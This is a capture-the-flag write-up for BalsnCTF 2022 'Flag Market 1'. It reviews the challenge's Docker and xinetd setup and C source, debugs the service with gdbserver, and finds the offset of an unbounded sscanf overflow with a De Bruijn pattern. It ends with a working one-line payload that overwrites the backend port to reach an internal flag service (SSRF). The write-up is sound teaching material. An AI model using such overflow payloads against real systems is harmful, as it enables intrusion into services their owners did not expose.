[Pwn] BalsnCTF2022 - Flag Market 1

Flag Market 1

Solves: 43

Points: 175

Description:
Do you love flags?

Try to buy some!

nc flag-market-us.balsnctf.com 19091 or

nc flag-market-sin.balsnctf.com 19091 or

nc flag-market-uk.balsnctf.com 19091

Attachment:

download
234b79b0adee52c9402019214038dce9

TLDR

  • Overflow port 31337 to obtain SSRF in the listening xinetd service.

Challenge design

This challenge is split in 3 parts. The first part is a simple buffer overflow. We must understand how the services are working.

We can view the attachment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ unzip -l 234b79b0adee52c9402019214038dce9.zip
Archive: 234b79b0adee52c9402019214038dce9.zip
Length Date Time Name
--------- ---------- ----- ----
0 2022-08-30 16:11 flag_market/
253 2022-08-30 15:01 flag_market/deploy.sh
506 2022-08-30 14:52 flag_market/backend.Dockerfile
32 2022-08-30 15:01 flag_market/README.md
409 2022-08-30 14:52 flag_market/docker-compose-backend.yml
381 2022-08-30 14:52 flag_market/docker-compose-chal.yml
325 2022-08-30 14:52 flag_market/xinetd-flag1
1048 2022-08-30 14:52 flag_market/flag_market.Dockerfile
0 2022-08-31 16:52 flag_market/src/
512 2022-08-30 14:55 flag_market/src/patch.diff
123 2022-08-31 15:55 flag_market/src/run.sh
336 2022-08-30 14:55 flag_market/src/Makefile
22768 2022-08-30 14:55 flag_market/src/flag_market
0 2022-08-30 14:55 flag_market/src/backend/
1419 2022-08-30 14:54 flag_market/src/backend/backend.py
25 2022-08-30 14:54 flag_market/src/backend/run_flag1.sh
79 2022-08-30 14:54 flag_market/src/backend/run_backend.sh
9819 2022-08-30 14:55 flag_market/src/flag_market.c
13 2022-08-30 14:56 flag_market/src/flag3
--------- -------
38048 19 files

To study how the service works, we must review the deploy.sh and docker-compose yml files.

deploy.sh is simply building and running the docker instances and initiating the services:

1
2
3
4
5
6
7
8
$ cat deploy.sh         
#!/bin/bash

docker-compose -f ./docker-compose-backend.yml build
CHAL_PORT=13337 docker-compose -f ./docker-compose-chal.yml build

docker-compose -f ./docker-compose-backend.yml up -d
CHAL_PORT=13337 docker-compose -f ./docker-compose-chal.yml up -d

Deploy.sh is already hinting which port will be exposed to the host.

docker-compose-backend.yml seems to have the hostname as backend and the flags are stored in environment variables of the container:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
version: "3.5"
services:
backend:
build:
context: ./
dockerfile: backend.Dockerfile
restart: always
hostname: backend
environment:
- FLAG1=BALSN{FLAG1}
- FLAG2=BALSN{FLAG2}
networks:
- network
networks:
network:
name: flag_market_network

# docker-compose -f ./docker-compose-backend.yml up -d

Checking the backend.Dockerfile we see that the flag1 will probably be printed in the xinetd service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
FROM ubuntu:20.04
MAINTAINER how2hack
RUN apt-get update --fix-missing
RUN apt-get upgrade -y
RUN apt-get install -y xinetd
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y python3 python3-pip
RUN pip install -U pip flask setuptools gunicorn
RUN useradd -m backend
COPY src/backend/backend.py /backend/
COPY src/backend/run_flag1.sh /backend/
COPY src/backend/run_backend.sh /backend/
COPY ./xinetd-flag1 /etc/xinetd.d/xinetd-flag1
USER backend
CMD /usr/sbin/xinetd -dontfork & /backend/run_backend.sh

We can tell from the xinetd file that the daemon’s service will be run on port 31337:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat xinetd-flag1      
service backend-flag1
{
disable = no
type = UNLISTED
wait = no
server = /backend/run_flag1.sh
socket_type = stream
protocol = tcp
user = backend
port = 31337
flags = IPv4 REUSE
per_source = 5
rlimit_cpu = 3
rlimit_as = 64M
nice = 18
}

Reading run_flag1.sh we know it will print the flag:

1
2
3
4
$ cat src/backend/run_flag1.sh
#!/bin/bash

echo $FLAG1

Another thing we know from the dockerfile is that another service must be running here as well, as we can see in src/backend/run_backend.sh.

The file will be running a Flask server on Guicorn:

1
2
3
4
#!/bin/bash

cd /backend
gunicorn -w 4 "backend:create_app()" -b 0.0.0.0:29092 --error-logfile /tmp/error.log --access-logfile /tmp/access.log --capture-output --log-level debug

This service is related to part two, so we won’t talk much about it in this write-up. The important part here is knowing that this service is running in backend:29092 and is not accessible to the host, at least from the information we have right now.

Let’s see the other container, docker-compose-chal.yml.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat docker-compose-chal.yml   
version: "3.5"
services:
flag_market:
build:
context: ./
dockerfile: flag_market.Dockerfile
ports:
- "${CHAL_PORT}:19091/tcp"
networks:
- flag_market_network
networks:
flag_market_network:
external: true

# CHAL_PORT=13337 docker-compose -f ./docker-compose-chal.yml -p flag_market_13337 up -d

Exposes port 19091 to the host and links it to the port passed in the ENV variable CHAL_PORT which will be 13337 if we choose so or run the deploy.sh script.

The file flag_market.Dockerfile will show it’s copying an elf executable and moving it to /home/flag_market and running a sh script named run.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
FROM ubuntu:20.04
MAINTAINER how2hack
RUN apt-get update --fix-missing
RUN apt-get upgrade -y
RUN apt-get install -y xinetd
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y git libtool pkg-config make python3 python3-pip help2man
RUN pip install -U pip pycrypto
RUN useradd -m flag_market
WORKDIR /home/flag_market
RUN git clone https://github.com/frankmorgner/vsmartcard.git
WORKDIR /home/flag_market/vsmartcard
RUN git checkout 8b4aa3e7bfe891d986237759576b5ebf0e4ed42b
COPY src/patch.diff /home/flag_market/vsmartcard/
RUN git apply patch.diff
WORKDIR /home/flag_market/vsmartcard/virtualsmartcard
RUN autoreconf --verbose --install
RUN ./configure --sysconfdir=/etc --enable-libpcsclite
RUN make
RUN make install
COPY src/flag_market /home/flag_market/
COPY src/run.sh /home/flag_market/
COPY src/flag3 /home/flag_market/
RUN chmod 774 /tmp
RUN chmod -R 774 /var/tmp
RUN chmod -R 774 /dev
RUN chmod -R 774 /run
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN chown -R root:root /home/flag_market
USER flag_market
CMD ["/home/flag_market/run.sh"]

The src/run.sh file will start the ELF while preloading a special library:

1
2
3
4
5
6
$ cat src/run.sh
#!/bin/bash

export LD_PRELOAD=/usr/local/lib/libpcsclite.so.1
exec 2>/dev/null
timeout 1800 /home/flag_market/flag_market

The organizers were nice enough to provide us with the source code, so let’s analyse what this binary contains.

Socket is listening on port 19091

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
...
#define HOST "127.0.0.1"
#define PORT 19091
#define BK_HOST "backend"
#define BK_PORT 29092
...
int main(void)
{
int server_fd;
int accepted_client_fd;
struct sockaddr_in serverInfo;
struct sockaddr_in clientInfo;
socklen_t optval = 1;
pid_t pid[50];
int pid_n = 0;

server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd < 0)
exit(-1);

if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, (void *)&optval, sizeof(optval)) != 0)
exit(-1);

int addrlen = sizeof(clientInfo);
bzero(&serverInfo, sizeof(serverInfo));

serverInfo.sin_family = PF_INET;
serverInfo.sin_addr.s_addr = INADDR_ANY;
serverInfo.sin_port = htons(PORT);

if (bind(server_fd, (struct sockaddr*)&serverInfo, sizeof(serverInfo)) < 0)
exit(-1);

if (listen(server_fd, NUM_PID) < 0)
exit(-1);
...

And will send the received data to the previously seen backend: 29092 flask webserver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
oid connection_handler(int sock_fd)
{
char request[MAX_REQ_BUF] = {};
char method[MAX_BUF] = {};
char path[MAX_BUF] = {};
char port[MAX_BUF] = {};
char host[MAX_BUF] = {};
size_t n = 0;
size_t reqLen = 0;

connection_sock = sock_fd;
signal(SIGALRM, exception_handler);
signal(SIGABRT, exception_handler);
alarm(TIMEOUT);

snprintf(host, MAX_BUF, "%s", BK_HOST);
snprintf(port, MAX_BUF, "%d", BK_PORT);

reqLen = read_input(sock_fd, request, MAX_REQ_BUF);

n = sscanf(request, "%s /%s HTTP/1.1", method, path);
if (n != 2)
snprintf(path, MAX_BUF, "500");

route(sock_fd, host, port, method, path, reqLen, request);

close(sock_fd);
exit(0);
}

The request flow can be simplified by using the following drawing:

1
[Host]localhost:13337 -> [flag_market]127.0.0.1:19091 -> [backend]backend:29092

Gdbserver

Before starting to search for a vulnerability, we might want to find a strategy for how we would debug the binary for every payload we send.

We can use remote debugging; for this, we either copy an already-compiled version of gdbserver or we install it on the Docker server.

Because I chose to install gdbserver in Docker, we needed to first expose an extra port (1337) for gdb to connect to.

We can do this by modifying the docker-compose-chall.yml file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
version: "3.5"
services:
flag_market:
build:
context: ./
dockerfile: flag_market.Dockerfile
ports:
- "${CHAL_PORT}:19091/tcp"
- "1337:1337/tcp" # changed line
networks:
- flag_market_network
networks:
flag_market_network:
external: true

# CHAL_PORT=13337 docker-compose -f ./docker-compose-chal.yml -p flag_market_13337 up -d

We could now either modify the Docker files to start the gdbserver automatically after the binary is run, or run commands after the instance is running.

I didn’t want to break anything or make the server slightly different from the server version, so to save time, after setting up the servers with ./deploy.sh, I just ran the following commands to install gdb:

1
2
3
4
5
$ sudo docker container ls 
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7e3450cc8dad flag_market_flag_market "/home/flag_market/r…" 10 hours ago Up 10 minutes 0.0.0.0:1337->1337/tcp, :::1337->1337/tcp, 0.0.0.0:13337->19091/tcp, :::13337->19091/tcp flag_market_flag_market_1
5ab9319711a0 flag_market_backend "/bin/sh -c '/usr/sb…" 2 days ago Up 2 days
$ sudo docker exec -it --workdir /root --user root flag_market_flag_market_1 sh -c "apt update && apt install gdbserver"

After this we can attach the gdbserver with:

1
2
3
4
5
6
7
8
9
10
$ sudo docker exec -it flag_market_flag_market_1 ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
flag_ma+ 1 0.0 0.0 3984 2812 ? Ss 05:17 0:00 /bin/bash /ho
flag_ma+ 7 0.0 0.0 2748 652 ? S 05:17 0:00 timeout 1800
flag_ma+ 8 0.0 0.0 2416 536 ? S 05:17 0:00 /home/flag_ma
flag_ma+ 15 0.0 0.0 5900 2888 pts/0 Rs+ 05:29 0:00 ps -aux
$ sudo docker exec -it flag_market_flag_market_1 \
sh -c "gdbserver :1337 --attach \$(ps -aux | grep ':00 /home/flag_market/flag_market' | head -n 1 | awk '{print \$2}')"
Attached; pid = 8
Listening on port 1337

To attach with gdb from the host we can do this:

1
2
3
pwndbg> target remote :1337
...
pwndbg> n

Exploit

Since we don’t care right now about the flask server, ideally we would love to make the binary connect to the xinetd service to get the flag1. But to achieve this, we need to use an overflow.

We can find one in the sscanf:

1
n = sscanf(request, "%s /%s HTTP/1.1", method, path);

To overflow the port, we need to find the offset to the variable. One of the methods we could use is just trial and error (quite slow), but in my case I chose to use De Bruijn patterns:

1
2
$ ragg2 -P 2000 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAFbAFcAFdAFeAFfAFgAFhAFiAFjAFkAFlAFmAFnAFoAFpAFqAFrAFsAFtAFuAFvAFwAFxAFyAFzAF1AF2AF3AF4AF5AF6AF7AF8AF9AF0AGBAGCAGDAGEAGFAGGAGHAGIAGJAGKAGLAGMAGNAGOAGPAGQAGRAGSAGTAGUAGVAGWAGXAGYAGZAGaAGbAGcAGdAGeAGfAGgAGhAGiAGjAGkAGlAGmAGnAGoAGpAGqAGrAGsAGtAGuAGvAGwAGxAGyAGzAG1AG2AG3AG4AG5AG6AG7AG8AG9AG0AHBAHCAHDAHEAHFAHGAHHAHIAHJAHKAHLAHMAHNAHOAHPAHQAHRAHSAHTAHUAHVAHWAHXAHYAHZAHaAHbAHcAHdAHeAHfAHgAHhAHiAHjAHkAHlAHmAHnAHoAHpAHqAHrAHsAHtAHuAHvAHwAHxAHyAHzAH1AH2AH3AH4AH5AH6AH7AH8AH9AH0AIBAICAIDAIEAIFAIGAIHAIIAIJAIKAILAIMAINAIOAIPAIQAIRAISAITAIUAIVAIWAIXAIYAIZAIaAIbAIcAIdAIeAIfAIgAIhAIiAIjAIkAIlAImAInAIoAIpAIqAIrAIsAItAIuAIvAIwAIxAIyAIzAI1AI2AI3AI4AI5AI6AI7AI8AI9AI0AJBAJCAJDAJEAJFAJGAJHAJIAJJAJKAJLAJMAJNAJOAJPAJQAJRAJSAJTAJUAJVAJWAJXAJYAJZAJaAJbAJcAJdAJeAJfAJgAJhAJiAJjAJkAJlAJmAJnAJoAJpAJqAJrAJsAJtAJuAJvAJwAJxAJyAJzAJ1AJ2AJ3AJ4AJ5AJ6AJ7AJ8AJ9AJ0AKBAKCAKDAKEAKFAKGAKHAKIAKJAKKAKLAKMAKNAKOAKPAKQAKRAKSAKTAKUAKVAKWAKXAKYAKZAKaAKbAKcAKdAKeAKfAKgAKhAKiAKjAKkAKlAKmAKnAKoAKpAKqAKrAKsAKtAKuAKvAKwAKxAKyAKzAK1AK2AK3AK4AK5A

We then send this to the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
echo 'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYA'\
'AZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAA'\
'zAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQ'\
'ABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqA'\
'BrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHAC'\
'IACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACi'\
'ACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9A'\
'C0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZAD'\
'aADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1'\
'AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERA'\
'ESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAE'\
'sAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJ'\
'AFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAFbAFcAFdAFeAFfAFgAFhAFiAFjA'\
'FkAFlAFmAFnAFoAFpAFqAFrAFsAFtAFuAFvAFwAFxAFyAFzAF1AF2AF3AF4AF5AF6AF7AF8AF9AF0AG'\
'BAGCAGDAGEAGFAGGAGHAGIAGJAGKAGLAGMAGNAGOAGPAGQAGRAGSAGTAGUAGVAGWAGXAGYAGZAGaAGb'\
'AGcAGdAGeAGfAGgAGhAGiAGjAGkAGlAGmAGnAGoAGpAGqAGrAGsAGtAGuAGvAGwAGxAGyAGzAG1AG2A'\
'G3AG4AG5AG6AG7AG8AG9AG0AHBAHCAHDAHEAHFAHGAHHAHIAHJAHKAHLAHMAHNAHOAHPAHQAHRAHSAH'\
'TAHUAHVAHWAHXAHYAHZAHaAHbAHcAHdAHeAHfAHgAHhAHiAHjAHkAHlAHmAHnAHoAHpAHqAHrAHsAHt'\
'AHuAHvAHwAHxAHyAHzAH1AH2AH3AH4AH5AH6AH7AH8AH9AH0AIBAICAIDAIEAIFAIGAIHAIIAIJAIKA'\
'ILAIMAINAIOAIPAIQAIRAISAITAIUAIVAIWAIXAIYAIZAIaAIbAIcAIdAIeAIfAIgAIhAIiAIjAIkAI'\
'lAImAInAIoAIpAIqAIrAIsAItAIuAIvAIwAIxAIyAIzAI1AI2AI3AI4AI5AI6AI7AI8AI9AI0AJBAJC'\
'AJDAJEAJFAJGAJHAJIAJJAJKAJLAJMAJNAJOAJPAJQAJRAJSAJTAJUAJVAJWAJXAJYAJZAJaAJbAJcA'\
'JdAJeAJfAJgAJhAJiAJjAJkAJlAJmAJnAJoAJpAJqAJrAJsAJtAJuAJvAJwAJxAJyAJzAJ1AJ2AJ3AJ'\
'4AJ5AJ6AJ7AJ8AJ9AJ0AKBAKCAKDAKEAKFAKGAKHAKIAKJAKKAKLAKMAKNAKOAKPAKQAKRAKSAKTAKU'\
'AKVAKWAKXAKYAKZAKaAKbAKcAKdAKeAKfAKgAKhAKiAKjAKkAKlAKmAKnAKoAKpAKqAKrAKsAKtAKuA'\
'KvAKwAKxAKyAKzAK1AK2AK3AK4AK5A' | nc localhost 13337

The binary is using alarm to terminate the child process after 5 seconds. This will give us a very short time to use gdb.

To circumvent this. I just setup a breakpoint in alarm and modified the RDI register value (first parameter) to a higher value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> ni 7 # get past fork
...
pwndbg> b alarm
...
pwndbg> b *route+1152
...
pwndbg> c
...
pwndbg> set $rdi = 0x1000000
...
pwndbg> c
0x556a06e37205 <route+1149> mov rdi, rax
► 0x556a06e37208 <route+1152> call connect_backend <connect_backend>
rdi: 0x7ffca57904c0 ◂— 0x646e656b636162 /* 'backend' */
rsi: 0x7ffca5790340 ◂— 0x414f45414e45414d ('MAENAEOA')
rdx: 0x7ffca578ffe0 —▸ 0x556a076d72a0 ◂— 0x4143414142414141 ('AAABAACA')
rcx: 0x7ffca578ffe8 ◂— 0x3ff

0x556a06e3720d <route+1157> mov rdx, qword ptr [rbp - 0x18]
1
void connect_backend(char *host, char *port, char **data, size_t *dataLen);

Port will be in the second argument, $RSI and we can see the De Bruijn value 0x414f45414e45414d.

We can use r2 to calculate this offset:

1
2
3
r2 src/flag_market
[0x00001460]> wopO 0x414f45414e45414d
768

The offset needed is 768 so we can do a oneliner to get the flag in the server (the port needs to be in this format, 31331 as a string due to the fact the binary uses atoi):

1
2
$ python -c "print('A'*768+'31337')" | nc flag-market-us.balsnctf.com 26790
BALSN{5sRf_1n_b!n4ry?!?!6589621de02ead8cae80fa4e6d0f905e}